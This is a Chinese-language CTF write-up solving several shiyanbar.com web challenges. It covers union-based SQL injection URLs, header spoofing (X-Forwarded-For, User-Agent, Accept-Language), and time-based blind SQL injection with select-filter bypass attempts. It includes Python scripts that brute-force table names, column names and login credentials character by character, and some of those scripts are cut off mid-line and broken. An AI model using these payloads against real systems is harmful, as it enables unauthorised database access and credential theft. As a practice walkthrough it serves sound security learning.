真的很简单,就是最简单的sql注入,什么都没有过滤.直接union联合查询就行了.唯一有点遗憾的的就是,一开始一直尝试带带单引号的语句,例如1' or ''=',没有什么发现.最后才意识到sql这个sql查询语句可能是没有单引号的,一试果然没有.

http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_name,column_name from information_schema.columns

从information_schema.columns

表里查询所有表名和列名,可能有点难受的就是返回的数据有点多,只能ctrl+f搜索,flag或key关键字,发现thiskey表里k0y字段.

于是http://ctf5.shiyanbar.com/8/index.php?id=1 union select k0y from thiskey

发现没有返回结果,尴尬.仔细看看,此处sql查询返回的结果是要有两列的,所以http://ctf5.shiyanbar.com/8/index.php?id=1 union select k0y,1 from thiskey

得到flag.

总结就是有的sql查询语句是没有单引号的,所以是1 or 1=1而不是1' or '1'='1,而且用union联合查询时注意查询返回的列数要和原查询一致.

貌似有点难

不多说,去看题目吧。

解题链接: http://ctf5.shiyanbar.com/phpaudit/

就是在请求中加一个x-forwarded-for:1.1.1.1就行.

头有点大

提示都这么多了,再提示就没意思了。

解题链接: http://ctf5.shiyanbar.com/sHeader/

Please make sure you have installed .net framework 9.9!

Make sure you are in the region of England and browsing this site with Internet Explorer
三个要求:安装.net framework 9.9,区域是英国,使用ie访问.

使用ie访问,修改user-agent头为Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0) like Gecko

区域是英国,修改Accept-Language 为,en-gb划重点,这里我本来修改为en-GB,并不能得到flag,gb必须小写.

安装. net framework 9.9,就是在user-agent头的小括号内添加一句.NET CLR 9.9,最后user-agent就是Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0;.NET CLR 9.9) like Gecko

总结就是安装. net framework 9.9,就是在user-agent头的小括号内添加一句.NET CLR 9.9,并且en-gb的gb要求小写(en-GB在一些题里可能是可以识别的.)

看起来有点难

切,你那水平也就这么点了,这都是什么题啊!!!

解题链接: http://ctf5.shiyanbar.com/basic/inject

sql注入题,粗心没做出来也是很遗憾。

两个输入框进行了一遍fuzzing测试,user框过滤了select,pass框什么都没过滤.

没有回显,报错也是固定格式.那就只能布尔或时间盲注.其实用1' or sleep(3) and ''='就会发现存在延时.要想办法绕过对select的过滤才行,不然就只能用substr(database(),start,length)得到数据库名,表名列名得不到.
于是,SELECT,SEselectlect,seSELEctleCT,/*!select*/,甚至\Nselect,E0select,都是弹出"sql注入攻击",那就很绝望.
其实我是察觉到题里的提示的,
响应页面有一行用来输出你输入的用户名,你输入/*!select*/,/*!SELECT*/,虽然都弹出"sql注入攻击",但
响应中一个是/*!*/,一个是/*!SELECT*/,如下图所示:

ctf实验吧_第3张图片

 

ctf实验吧_第4张图片

这表明SELECT是没被替换成空的,换句话说,SELECT很可能是有作用的,但我接下来是使用布尔盲注证明SELECt是有作用的,
就是假设SELECT没被过滤,照常用布尔盲注,输出响应长度,期待会有一个不同的长度输出,结果有了好几个不同的长度输出,
我的耐心被消磨殆尽.事实证明,此时应该用时间盲注来证明SELECT是有用的.基于布尔去判断,它输出几个不同的
长度,头都大了.基于时间盲注就更好,1' or (SELECT case when 1 then sleep(3) else sleep(0) end) and 'a'='a,SELECT如果有用,会直接延时.
1' or if(1,sleep(3),sleep(0)) and ''='会延时三秒.那就直接假设SELECT是有用的进行基于时间的盲注.
事实证明确实如此,SELECT是有用的.

 

报表名:

import requests
#url,range,id,data
def payload(rawstr):
   pass
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz@'
for i in range(1,20):
    for j in dic:
        url = r"http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' or if(ord((SELECT mid(group_concat(table_name separator '@') from {0} for 1) from information_schema.tables where table_schema=database() limit 1))={1},sleep(6),sleep(0)) or '1'='&pass=2&action=login".format(i,ord(j))
        s=requests.get(url)
        #content=s.content

      #  length=len(content)
       # print(content.decode('GB2312'))
        #print(j)
       # print(length)
        sec=s.elapsed.seconds
        if sec > 6:
            string+=j
            break
    print (string)

报列名:

import requests
#url,range,id,data
def payload(rawstr):
   pass
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz{}()`~!#$%^&*-=_+{}[];\',./:"?> 6:
            string+=j
            break
    print (string)

得到username和password列分别报内容:

import requests
#url,range,id,data
def payload(rawstr):
   pass
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz{}()`~!#$%^&*-=_+{}[];\',./:"?> 10:
            string+=j
            break
    print (string)
import requests
#url,range,id,data
def payload(rawstr):
   pass
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz{}()`~!#$%^&*-=_+{}[];\',./:"?> 10:
            string+=j
            break
    print (string)

 

你可能感兴趣的:(ctf实验吧)